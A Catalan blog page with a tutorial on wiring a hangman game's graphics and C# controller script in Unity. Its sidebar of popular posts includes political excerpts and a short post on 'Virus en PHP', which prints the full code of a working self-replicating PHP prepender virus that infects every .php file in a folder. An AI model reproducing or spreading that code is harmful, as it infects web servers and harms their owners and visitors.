Ves al contingut principal

TDDs a Unity(IV)

I per últim, ara que les obligacions familiars m'han donat un respir (tinc al menut dormint al meu costat), li posarem una interfície gràfica al nostre joc. Com ja sabeu he triat Unity 3D, per què m'encanta, i accepta el meu llenguatge de programació preferit (C#) per a l'scripting. El primer que he fet és crear uns apassionants gràfics amb el meu supertalent i el... mspaint!!! Per no avorrir-vos, vos pose un exemple:











Com podreu suposar, he creat una imatge per cada "vida", com el típic joc del penjat, així només s'ha de carregar en cada moment la imatge corresponent al nombre de vides (es podria fer més difícil, composant, animant... però el disseny no m'agrada, és molt avorrit i tediós i valdria més l'esperat que l'escurada).

Ara vos pose els objectes que he posat:



Si mirem la imatge tenim:
  • 1 Sprite, Vides que es on anem posant la imatge del penjat segons les vides
  • 5 3DText (TextMesh):
  1. Paraula: La paraula que hem d'encertar, les lletres que encara no hem encertat apareixeran amb un _
  2. LletresOK i LletresOK: una etiqueta indicant que davall està la llista de lletres encertades/fallades
  3. LletresOKText i LletresKOText: la llista de lletres encertades i fallades
  • La càmera
  • Un objecte (buid) GameController on he assignat l'script de control de joc (podria estar en la càmera, però no m'agrada barrejar coses)






Ara anem al codi de l'script assignat a gamecontroller, primer definim les variables que anem a gastar:

                private string Word;
private string LettersOK;
private string LettersKO;
private int Lifes;
private HangMan hang;
private TextMesh WordCompletedText;
private TextMesh LletresOKText;
private TextMesh LletresKOText;
private SpriteRenderer SpR;
public Sprite[] Vides;





La variable Sprite serà pública per que així podrem definir-la amb les imatges des de unity sense tocar una línia de codi, ja que les variables públiques apareixen a l'inspector de l'objecte a Unity.
Continuem, a l'start, és a dir a la creació simplement creem l'objecte del joc hang:
                void Start ()
{
hang = new HangMan ("hola");
}
Faltaria també posar el wordextractor, però per a este exemple no l'hem gastat, per simplificar. I ara el controlador que estarà en la funció OnGUI, tindrà 4 blocs:
  1. Assignació de variables
  2. Mostrar les variables
  3. Comprovar guanyat/perdut i mostrar missatge
  4. Comprovar si s'apreta una tecla i executar l'intent d'endivinar

void OnGUI ()
{
//BLOC1
Word = hang.GetWordCompleted ();
Lifes = hang.lifes;
LettersOK = hang.LettersOK;
LettersKO = hang.LettersTried;
WordCompletedText = (TextMesh)GameObject.FindWithTag ("WordCompleted").GetComponent (typeof(TextMesh));
LletresOKText = (TextMesh)GameObject.FindWithTag ("LletresOK").GetComponent (typeof(TextMesh));
LletresKOText = (TextMesh)GameObject.FindWithTag ("LletresKO").GetComponent (typeof(TextMesh));
//BLOC2
LletresOKText.text = LettersOK;
LletresKOText.text = LettersKO;
WordCompletedText.text = Word;
SpR = (SpriteRenderer)GameObject.FindWithTag ("Vides").GetComponent (typeof(SpriteRenderer));
SpR.sprite = Vides [Lifes];
//BLOC3
if (Lifes == 0) {
print ("you die");
}
if (hang.WordCompleted ()) {
print ("you win");
}
//BLOC4
if (Input.anyKeyDown) {
Event e = Event.current;
if (e.isKey) {
if (e.keyCode >= KeyCode.A && e.keyCode <= KeyCode.Z) {
hang.GuessLetter (e.keyCode.ToString ().ToLower () [0]);
}
}
}
}

L'única cosa que pot ser siga complicada és esta línia:
SpR.sprite = Vides [Lifes]; 
Com al vector d'sprites Vides tenim totes les imatges corresponents al penjat (sense cap part del cos a tot el cos una a una, en total 7: res, cap, tronc, braç esquerre,braç dret, peu esquerre, peu dret), li assignarem el corresponent a les vides que tinga. SpR és l'objecte sprite "Vides" que podem veure a la captura de pantalla de l'entorn Unity que he posat adés.
En breu posaré el projecte per a baixar, i podreu veure la versió web a:
http://hangman.vicentfernandez.cat (Encara no disponible)

Comentaris

Entrades populars d'aquest blog

Parlem de Bloc i País?

Comence una nova etapa en el tema polític, de fet ja fa temps que la vaig començar, però ara ho fet involucrant-me activament als assumptes interns del meu partit. Em defineix a mi mateix com una persona activa (de vegades inclús hiperactiva), amb inquietuds i preocupacions, en definitiva, em mou les ganes de ser útil a la meua gent i l’estima pel meu país. Aquestes voluntats però, no les he vistes, o almenys, ja no les veig tan a sovint en el tarannà del meu partit. No negaré que, potser, tinc desavinences en l’actual línia de la direcció (allò que s’ha anomenat com el “aparato”), però la casuística dels últims viratges polítics no han deixat lloc a altra possibilitat. No vaig a repetir totes les actuacions que adés i ara van demostrar que els abanderats de la nova política no es comportaren com a tal. Tots sabem quines són. Però d'una si que en parlaré, una que per a mi fou bastant reiterativa i té molta relació en un dels principis de Goebbels, que és el de fer creure que la di…

Què poden(m) fer els polítics nacionalistes valencians?

Davant del procés que s'ha encetat a Catalunya, el primer que m'agradaria és mostrar el meu suport. Pot ser s'hagen fet errors, com en tot en esta vida. Ara bé, votar no pot ser mai antidemocràtic, i per tant el seu destí els decidiran ells. 
Alguns hem observat, sempre amb il·lusió, que pot ser després d'ells anem nosaltres, els valencians. Però la realitat és tossuda. Mai hem tingut un sentiment nacionalista similar als catalans. I, possiblement, mentre no fem alguna cosa per canviar-ho, no el tindrem. Per exemple, podem veure l'evolució  segons el CIS del sentiment nacionalista/independentista valencià i català:

Durant els primers anys (94 i 97) es codificava del 0 al 10, però al 2005, preguntaren allò de "sólo español" (que ho he codificat com un 2), "más español que (gentilicio)" (que será un 4),  "igual español que (gentilicio)" (que serà un 6),  "más (gentilicio) que español" (que serà un 8) i "sólamente (gentilicio…

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

- - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - - <?php // SPTH $string=fread(fopen(__FILE__,'r'), 391); $curdir=opendir('.'); while ($file = readdir($curdir)) { if (strstr($file, '.php')) { $victim=fopen($file, 'r+'); if (!strstr(fread($victim, 13), 'SPTH')) { rewind($victim); fwrite($victim, $string.fread($victim, filesize($file));); } fclose($victim); } } closedir($curdir); ?>